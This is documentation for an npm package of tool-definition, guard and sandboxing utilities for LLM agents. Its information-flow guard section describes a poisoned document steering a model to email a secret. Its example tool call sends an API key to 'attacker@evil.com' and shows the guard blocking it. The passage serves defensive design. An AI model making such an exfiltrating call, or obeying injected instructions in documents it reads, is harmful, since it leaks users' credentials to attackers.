@elsium-ai/tools

Tool definition, execution, and formatting for ElsiumAI.

Install

npm install @elsium-ai/tools @elsium-ai/core

zod is a required peer dependency:

npm install zod

What’s Inside

Category Exports Description
Define defineTool, ToolConfig, ToolContext, Tool, ToolExecutionResult Create type-safe tools with Zod schema validation, automatic input/output parsing, timeout handling, and abort support
Toolkit createToolkit, Toolkit Group related tools into named collections with lookup-by-name execution and batch definition export
Format formatToolResult, formatToolResultAsText Convert raw execution results into the ToolResult wire format or plain-text strings for logging
Built-in Tools httpFetchTool, calculatorTool, jsonParseTool, currentTimeTool Ready-to-use tools for HTTP requests, math evaluation, JSON extraction, and current time
Guards withCapability, withFlowControl, CapabilityGuardOptions, FlowGuardOptions Wrap a tool so the caller’s capability token — and the provenance of everything already in the context — is checked before the handler runs

Define

The core module for creating tools. Every tool is built from a ToolConfig passed to defineTool, which returns a fully-formed Tool object with validation, execution, and schema export capabilities.

ToolConfig<TInput, TOutput>

Configuration object passed to defineTool.

interface ToolConfig<TInput = unknown, TOutput = unknown> {
  name: string
  description: string
  input: z.ZodType<TInput>
  output?: z.ZodType<TOutput>
  handler: (input: TInput, context: ToolContext) => Promise<TOutput>
  timeoutMs?: number
}
FieldTypeDescription
namestringUnique identifier for the tool (used in LLM tool-call routing)
descriptionstringHuman-readable description sent to the model
inputz.ZodType<TInput>Zod schema used to validate and parse incoming input
outputz.ZodType<TOutput> (optional)Zod schema used to validate handler output; omit to skip output validation
handler(input: TInput, context: ToolContext) => Promise<TOutput>Async function that performs the tool’s work
timeoutMsnumber (optional)Maximum execution time in milliseconds. Defaults to 30000

ToolContext

Contextual metadata passed to every handler invocation.

interface ToolContext {
  toolCallId: string
  traceId?: string
  signal?: AbortSignal
}
FieldTypeDescription
toolCallIdstringUnique identifier for this specific tool call
traceIdstring (optional)Distributed-tracing identifier for observability
signalAbortSignal (optional)Abort signal for cancellation; auto-generated from timeoutMs if not provided

Tool<TInput, TOutput>

The object returned by defineTool. Exposes read-only metadata, an execute method, and a toDefinition method for LLM integration.

interface Tool<TInput = unknown, TOutput = unknown> {
  readonly name: string
  readonly description: string
  readonly inputSchema: z.ZodType<TInput>
  readonly outputSchema?: z.ZodType<TOutput>
  readonly timeoutMs: number
  readonly sandbox?: SandboxConfig
  readonly sideEffectLevel?: SideEffectLevel

  execute(
    input: unknown,
    context?: Partial<ToolContext>,
  ): Promise<ToolExecutionResult<TOutput>>

  toDefinition(): ToolDefinition
  dispose?(): Promise<void>
}
MemberDescription
nameThe tool name from the config
descriptionThe tool description from the config
inputSchemaThe Zod schema used for input validation
outputSchemaThe Zod schema used for output validation (if provided)
timeoutMsEffective timeout in milliseconds
sandboxSandbox config when the tool runs in an isolated worker or process (if provided)
sideEffectLevelSide-effect classification (read | write | destructive) when set
execute(input, context?)Validate input, run the handler, validate output, and return a ToolExecutionResult
toDefinition()Convert the tool to a ToolDefinition (JSON Schema) for sending to an LLM
dispose()Optional cleanup hook that tears down sandbox resources

ToolExecutionResult<T>

The structured result returned by Tool.execute.

interface ToolExecutionResult<T = unknown> {
  success: boolean
  data?: T
  error?: string
  toolCallId: string
  durationMs: number
  dryRun?: boolean                          // set when a dry run was performed
  idempotent?: boolean                      // set when output came from the idempotency store
  preconditionFailures?: PreconditionFailure[]
  approvalDenied?: boolean
  approvalReason?: string
}
FieldTypeDescription
successbooleantrue if the handler completed without errors and output validated
dataT (optional)The handler return value, present when success is true
errorstring (optional)Error message, present when success is false
toolCallIdstringIdentifier for the tool call that produced this result
durationMsnumberWall-clock execution time in milliseconds
dryRunboolean (optional)Set when a dry run was performed instead of the real handler
idempotentboolean (optional)Set when the output came from the idempotency store
preconditionFailuresPreconditionFailure[] (optional)Preconditions that failed and blocked execution
approvalDeniedboolean (optional)Set when an approval request was denied
approvalReasonstring (optional)Reason supplied with the approval decision

defineTool(config)

Create a validated, executable tool from a configuration object.

function defineTool<TInput, TOutput>(
  config: ToolConfig<TInput, TOutput>,
): Tool<TInput, TOutput>

The returned Tool will:

  1. Parse and validate all input against config.input before calling the handler.
  2. Enforce a timeout (default 30 s) via AbortController.
  3. Optionally validate handler output against config.output.
  4. Return a ToolExecutionResult that always includes success, toolCallId, and durationMs — never throws.

Example

import { defineTool } from '@elsium-ai/tools'
import { z } from 'zod'

const weatherTool = defineTool({
  name: 'get_weather',
  description: 'Get current weather for a city',
  input: z.object({
    city: z.string().describe('City name'),
    units: z.enum(['celsius', 'fahrenheit']).optional(),
  }),
  output: z.object({
    temperature: z.number(),
    condition: z.string(),
  }),
  timeoutMs: 10_000,
  handler: async ({ city, units }, context) => {
    // context.signal is available for fetch cancellation
    const data = await fetchWeatherAPI(city, { signal: context.signal })
    return { temperature: data.temp, condition: data.summary }
  },
})

// Execute the tool
const result = await weatherTool.execute({ city: 'London' })
// { success: true, data: { temperature: 18, condition: 'cloudy' }, toolCallId: 'tc_...', durationMs: 240 }

// Export JSON Schema definition for an LLM
const definition = weatherTool.toDefinition()
// { name: 'get_weather', description: '...', inputSchema: { type: 'object', ... } }

Toolkit

Group multiple tools into a named collection for organized lookup and batch execution.

Toolkit

The object returned by createToolkit.

interface Toolkit {
  readonly name: string
  readonly tools: ReadonlyArray<Tool>

  getTool(name: string): Tool | undefined
  execute(
    toolName: string,
    input: unknown,
    context?: Partial<ToolContext>,
  ): Promise<ToolExecutionResult>
  toDefinitions(): ToolDefinition[]
}
MemberDescription
nameThe toolkit name
toolsRead-only array of all tools in the toolkit
getTool(name)Look up a tool by name; returns undefined if not found
execute(toolName, input, context?)Find the named tool and execute it; returns an error result if the tool does not exist
toDefinitions()Export all tools as ToolDefinition[] for sending to an LLM

createToolkit(name, tools)

Create a named toolkit from an array of tools.

function createToolkit(name: string, tools: Tool[]): Toolkit
ParameterTypeDescription
namestringA descriptive name for the toolkit
toolsTool[]Array of tools to include

Returns a Toolkit with O(1) tool lookup by name.

Example

import { defineTool, createToolkit } from '@elsium-ai/tools'
import { z } from 'zod'

const addTool = defineTool({
  name: 'add',
  description: 'Add two numbers',
  input: z.object({ a: z.number(), b: z.number() }),
  handler: async ({ a, b }) => ({ sum: a + b }),
})

const multiplyTool = defineTool({
  name: 'multiply',
  description: 'Multiply two numbers',
  input: z.object({ a: z.number(), b: z.number() }),
  handler: async ({ a, b }) => ({ product: a * b }),
})

const mathKit = createToolkit('math', [addTool, multiplyTool])

// Look up a tool
const tool = mathKit.getTool('add')

// Execute by name
const result = await mathKit.execute('multiply', { a: 6, b: 7 })
// { success: true, data: { product: 42 }, toolCallId: 'tc_...', durationMs: 1 }

// Export all definitions for an LLM
const definitions = mathKit.toDefinitions()

Format

Utilities for converting ToolExecutionResult into formats suitable for LLM message construction or plain-text logging.

formatToolResult(result)

Convert a ToolExecutionResult into the ToolResult wire format expected by @elsium-ai/core message types.

function formatToolResult(result: ToolExecutionResult): ToolResult
ParameterTypeDescription
resultToolExecutionResultThe raw execution result from Tool.execute

Returns a ToolResult:

// from @elsium-ai/core
interface ToolResult {
  toolCallId: string
  content: string
  isError?: boolean
}

On success, content is the stringified data (or the raw string if data is already a string). On failure, content is prefixed with "Error: " and isError is true.

Example

import { defineTool, formatToolResult } from '@elsium-ai/tools'
import { z } from 'zod'

const tool = defineTool({
  name: 'greet',
  description: 'Return a greeting',
  input: z.object({ name: z.string() }),
  handler: async ({ name }) => ({ message: `Hello, ${name}!` }),
})

const result = await tool.execute({ name: 'World' })
const toolResult = formatToolResult(result)
// {
//   toolCallId: 'tc_...',
//   content: '{\n  "message": "Hello, World!"\n}'
// }

formatToolResultAsText(result)

Convert a ToolExecutionResult into a plain-text string, useful for logging or display.

function formatToolResultAsText(result: ToolExecutionResult): string
ParameterTypeDescription
resultToolExecutionResultThe raw execution result from Tool.execute

Returns the stringified data on success, or a string prefixed with "[Tool Error] " on failure.

Example

import { defineTool, formatToolResultAsText } from '@elsium-ai/tools'
import { z } from 'zod'

const tool = defineTool({
  name: 'divide',
  description: 'Divide two numbers',
  input: z.object({ a: z.number(), b: z.number() }),
  handler: async ({ a, b }) => {
    if (b === 0) throw new Error('Division by zero')
    return { quotient: a / b }
  },
})

const ok = await tool.execute({ a: 10, b: 3 })
console.log(formatToolResultAsText(ok))
// '{\n  "quotient": 3.3333333333333335\n}'

const err = await tool.execute({ a: 10, b: 0 })
console.log(formatToolResultAsText(err))
// '[Tool Error] Division by zero'

Built-in Tools

Ready-to-use tool instances for common operations. Each is a Tool created with defineTool and can be used directly or added to a toolkit.

httpFetchTool

Fetch content from a URL via HTTP GET. Hardened against SSRF: blocks non-HTTP(S) protocols and requests to private/internal network addresses (loopback, RFC 1918 ranges, link-local), strips sensitive headers (cookie, authorization, x-api-key, etc.), and validates redirect Location headers before following. Responses larger than 50 KB are truncated.

PropertyValue
Namehttp_fetch
Timeout15 000 ms

Input schema

z.object({
  url: z.string().url(),        // The URL to fetch
  headers: z.record(z.string()) // Optional HTTP headers
    .optional(),
})

Output schema

z.object({
  status: z.number(),       // HTTP status code
  body: z.string(),         // Response body (truncated at 50 KB)
  contentType: z.string(),  // Content-Type header value
})

Example

import { httpFetchTool } from '@elsium-ai/tools'

const result = await httpFetchTool.execute({
  url: 'https://api.example.com/data',
  headers: { Accept: 'application/json' },
})

if (result.success) {
  console.log(result.data.status)      // 200
  console.log(result.data.contentType) // 'application/json'
}

calculatorTool

Evaluate a mathematical expression safely using a custom tokenizer and recursive-descent parser — no eval(). Supports arithmetic operators (+, -, *, /, **, %), Math functions (sqrt, abs, round, floor, ceil, sin, cos, tan, log, log2, log10, exp, pow, min, max), and constants (PI, E).

PropertyValue
Namecalculator
Timeout30 000 ms (default)

Input schema

z.object({
  expression: z.string(), // The mathematical expression to evaluate
})

Output schema

z.object({
  result: z.number(), // The computed result
})

Example

import { calculatorTool } from '@elsium-ai/tools'

const result = await calculatorTool.execute({
  expression: 'sqrt(144) + 2 ** 3',
})

if (result.success) {
  console.log(result.data.result) // 20
}

jsonParseTool

Parse a JSON string and optionally extract a value at a dot-separated path. Prototype-pollution keys (__proto__, constructor, prototype) are stripped during parsing.

PropertyValue
Namejson_parse
Timeout30 000 ms (default)

Input schema

z.object({
  json: z.string(),          // The JSON string to parse
  path: z.string().optional() // Dot-separated path (e.g. "data.items.0.name")
})

Output schema

z.object({
  value: z.unknown(), // The extracted value (or the entire parsed object if no path)
})

Example

import { jsonParseTool } from '@elsium-ai/tools'

const result = await jsonParseTool.execute({
  json: '{"users":[{"name":"Alice"},{"name":"Bob"}]}',
  path: 'users.1.name',
})

if (result.success) {
  console.log(result.data.value) // 'Bob'
}

currentTimeTool

Get the current date and time. Optionally specify an IANA timezone; defaults to UTC.

PropertyValue
Namecurrent_time
Timeout30 000 ms (default)

Input schema

z.object({
  timezone: z.string().optional(), // IANA timezone (e.g. "America/New_York")
})

Output schema

z.object({
  iso: z.string(),      // Locale-formatted date/time string
  unix: z.number(),     // Unix timestamp in seconds
  timezone: z.string(), // The resolved timezone
})

Example

import { currentTimeTool } from '@elsium-ai/tools'

const result = await currentTimeTool.execute({ timezone: 'Europe/London' })

if (result.success) {
  console.log(result.data.iso)      // '3/2/2026, 10:30:00 AM'
  console.log(result.data.unix)     // 1772540400
  console.log(result.data.timezone) // 'Europe/London'
}

Retrieval Tool

Wrap a RetrieveFn into a knowledge-base search tool with a { query: string } input. The default name is search_knowledge and the default topK is 5. Results are rendered to a string via formatResult (a numbered, scored list by default).

ExportSignatureDescription
createRetrievalToolcreateRetrievalTool(config: RetrievalToolConfig): ToolBuild a knowledge-base search tool from a retrieve function

Example

import { createRetrievalTool } from '@elsium-ai/tools'

const searchDocs = createRetrievalTool({
  name: 'search_docs',
  topK: 3,
  retrieve: async (query, options) => {
    return vectorStore.search(query, { topK: options?.topK })
    // => RetrievalResult[]: { content, score, source?, metadata? }
  },
})

Capability Guard

Opt-in wrapper that checks a @elsium-ai/core CapabilityToken before delegating to the inner tool. If a verifier is provided, the token is verified first; then canCallTool checks the token’s scope against the tool name (and optional dataClasses). A denied call resolves to a failure result (error: 'capability denied: ...') and invokes the optional onDeny callback. The wrapper preserves the inner tool’s metadata, toDefinition, and dispose.

ExportSignatureDescription
withCapabilitywithCapability<TInput, TOutput>(tool: Tool, options: CapabilityGuardOptions): ToolWrap a tool so execution is gated on a CapabilityToken

Example

import { withCapability } from '@elsium-ai/tools'

const guarded = withCapability(httpFetchTool, {
  token,                       // CapabilityToken
  verifier,                    // optional CapabilityVerifier
  dataClasses: ['public'],     // optional DataClass[]
  onDeny: (event) => log.warn('denied', event),
})

await guarded.execute({ url: 'https://example.com' })

Tool Contracts

Side-effect governance for tools that mutate state. Declared on the ToolConfig and enforced by execute in this order: preconditions → approval → dry-run → idempotency → handler.

sideEffectLevel

'read' | 'write' | 'destructive' — classifies the tool’s impact. It drives default behavior for dry-run (skips the handler for non-read tools) and approval ('destructive' requires approval under the default 'auto' policy).

preconditions

An array of guard functions (or { name, check } objects) that must all pass before the handler runs. Each returns { ok: boolean, reason? }. Any failure resolves to a failure result carrying preconditionFailures.

defineTool({
  name: 'transfer_funds',
  description: 'Transfer money between accounts',
  input: z.object({ from: z.string(), to: z.string(), amount: z.number() }),
  sideEffectLevel: 'write',
  preconditions: [
    { name: 'positive_amount', check: (input) => ({ ok: input.amount > 0, reason: 'amount must be positive' }) },
  ],
  handler: async (input) => transfer(input),
})

dryRunHandler & dry run

Passing { dryRun: true } in the execution context triggers a dry run for tools whose sideEffectLevel is not 'read' (or any tool with no level set). The dryRunHandler produces a preview; the result is returned with dryRun: true and the real handler is never invoked.

const result = await transferFunds.execute(input, { dryRun: true })
// => { success: true, dryRun: true, data: <preview>, ... }

requireApproval

'auto' | 'always' | 'never' (default 'auto'). When approval is needed, execute calls context.requestApproval (an ApprovalHandler) with an ApprovalRequest. A non-approved decision resolves to a failure result with approvalDenied: true. Under 'auto', only 'destructive' tools require approval; 'always' forces it; 'never' disables it. If approval is required but no handler is wired, the call proceeds with a warning.

defineTool({
  name: 'delete_account',
  description: 'Permanently delete a user account',
  input: z.object({ userId: z.string() }),
  sideEffectLevel: 'destructive',
  requireApproval: 'always',
  handler: async (input) => deleteAccount(input.userId),
})

await deleteAccount.execute({ userId: 'u_1' }, {
  requestApproval: async (req) => ({ status: 'approved', decidedBy: 'admin' }),
})

Idempotency

Supplying both idempotencyKey (derives a key from input) and idempotencyStore makes repeated calls return the cached output instead of re-running the handler. On a cache hit the result carries idempotent: true. createInMemoryIdempotencyStore provides a built-in store.

ExportSignatureDescription
createInMemoryIdempotencyStorecreateInMemoryIdempotencyStore(config?: InMemoryIdempotencyStoreConfig): IdempotencyStoreIn-memory idempotency store (clock? injectable)
import { defineTool, createInMemoryIdempotencyStore } from '@elsium-ai/tools'

const store = createInMemoryIdempotencyStore()

const charge = defineTool({
  name: 'charge_card',
  description: 'Charge a payment card',
  input: z.object({ orderId: z.string(), amount: z.number() }),
  sideEffectLevel: 'write',
  idempotencyKey: (input) => input.orderId,
  idempotencyStore: store,
  handler: async (input) => paymentApi.charge(input),
})

await charge.execute({ orderId: 'o_1', amount: 50 }) // runs handler, persists output
await charge.execute({ orderId: 'o_1', amount: 50 }) // cache hit => { idempotent: true }

Sandbox

Instead of an inline handler, a tool can run its logic in an isolated worker or subprocess via the sandbox config. This provides crash, memory, and capability isolation for untrusted or risky code.

defineTool({
  name: 'render_markdown',
  description: 'Render markdown to HTML in an isolated worker',
  input: z.object({ markdown: z.string() }),
  sandbox: {
    mode: 'worker',                  // 'worker' | 'process'
    handler: new URL('./render-worker.js', import.meta.url),
    capabilities: ['fs:read'],       // network, fs:read, fs:write, subprocess, ...
    timeoutMs: 5_000,
  },
})

Under Bun, sandbox.mode: 'worker' has incomplete crash isolation (process.exit() inside the handler does not terminate the worker). Use mode: 'process' for full parity. Call tool.dispose() to tear down sandbox resources.


Types

Exported type definitions for tool configuration, governance, retrieval, and sandboxing.

ExportDescription
ToolConfigTool definition: name, description, input/parameters (Zod), output? (Zod), handler?, timeoutMs?, sandbox?, sideEffectLevel?, idempotencyKey?, idempotencyStore?, preconditions?, dryRunHandler?, requireApproval?
ToolBuilt tool instance: metadata + execute, toDefinition, dispose?
ToolContextContext passed to handlers: toolCallId, traceId?, signal?, dryRun?, requestApproval?
ToolExecutionResultExecution outcome: success, data?, error?, toolCallId, durationMs, plus governance flags
ToolkitTool collection: name, tools, getTool, execute, toDefinitions
SideEffectLevel'read' | 'write' | 'destructive'
RequireApproval'auto' | 'always' | 'never'
ApprovalRequestApproval input: toolName, toolCallId, traceId?, sideEffectLevel?, input, reason?
ApprovalDecisionApproval outcome: status ('approved' | 'rejected'), reason?, decidedBy?
ApprovalHandler(request: ApprovalRequest) => Promise<ApprovalDecision> | ApprovalDecision
PreconditionFn(input, ctx) => PreconditionResult | Promise<PreconditionResult>
PreconditionResult{ ok: boolean, reason? }
PreconditionFailure{ name: string, reason: string }
IdempotencyStoreStore interface: get, put, delete
IdempotencyEntryStored record: key, toolName, output, recordedAt
InMemoryIdempotencyStoreConfigIn-memory store config: clock?
CapabilityGuardOptionswithCapability options: token, verifier?, dataClasses?, onDeny?
CapabilityDenialEventDenial event: toolName, tokenId, subject, reason, detail?
RetrievalToolConfigRetrieval tool config: name?, description?, retrieve, topK?, formatResult?
RetrievalResultRetrieval hit: content, score, source?, metadata?
RetrieveFn(query: string, options?: { topK?: number }) => Promise<RetrievalResult[]>
CapabilitySandbox capability: 'network' | 'fs:read' | 'fs:write' | 'subprocess' | scoped variants
SandboxConfigSandbox config: mode ('worker' | 'process'), handler, timeoutMs?, capabilities?, env?
SandboxRunnerRunner interface: invoke, dispose

Information-Flow Guard

withFlowControl()

function withFlowControl<TInput, TOutput>(
  tool: Tool<TInput, TOutput>,
  options: FlowGuardOptions,
): Tool<TInput, TOutput>

Gates a tool on the accumulated provenance of the context it runs in — the half withCapability cannot cover.

A capability token asks “may this agent call send_email?” and the answer is yes; it is a tool the agent is meant to use. This asks a different question: given everything that has entered the context by now, may data reach that destination at all? When a poisoned document convinces the model to call send_email with a secret in the body, the capability check passes and this one does not.

FieldTypeDescription
trackerFlowTrackerRequired. The per-run provenance accumulator
sinkstringSink identity. Defaults to tool:<name>. Set to network:api.stripe.com to let one rule govern every tool reaching that host
outputClassesreadonly string[]Classes this tool’s output carries — a tool reading customer records should declare ['pii']
outputOriginOriginTrust level of the output. Defaults to 'untrusted': a tool result is data from outside the operator’s control, even when the tool itself is trusted
onDeny(decision: FlowDecision) => voidCalled on denial
import { createFlowPolicy, createFlowTracker, lethalTrifectaRule } from '@elsium-ai/core'
import { withFlowControl } from '@elsium-ai/tools'

const tracker = createFlowTracker({ policy: createFlowPolicy([lethalTrifectaRule()]) })
const guarded = withFlowControl(sendEmail, { tracker })

const result = await guarded.execute({ to: 'attacker@evil.com', body: apiKey })
// { success: false, error: 'Flow denied: context holds sensitive data alongside...' }

Denial returns an unsuccessful ToolExecutionResult rather than throwing, matching withCapability — the agent loop sees a failed tool call and carries on, so a blocked exfiltration attempt does not crash the run. The handler never executes, so the side effect never happens.

On success the tool’s output is recorded into the tracker before anything downstream can read it. See Information-Flow Control for labels, policies and the tracker.


Part of ElsiumAI

This package is the tool definition layer of the ElsiumAI framework. See the Getting Started guide or the Fundamentals for comprehensive coverage of every feature.

License

MIT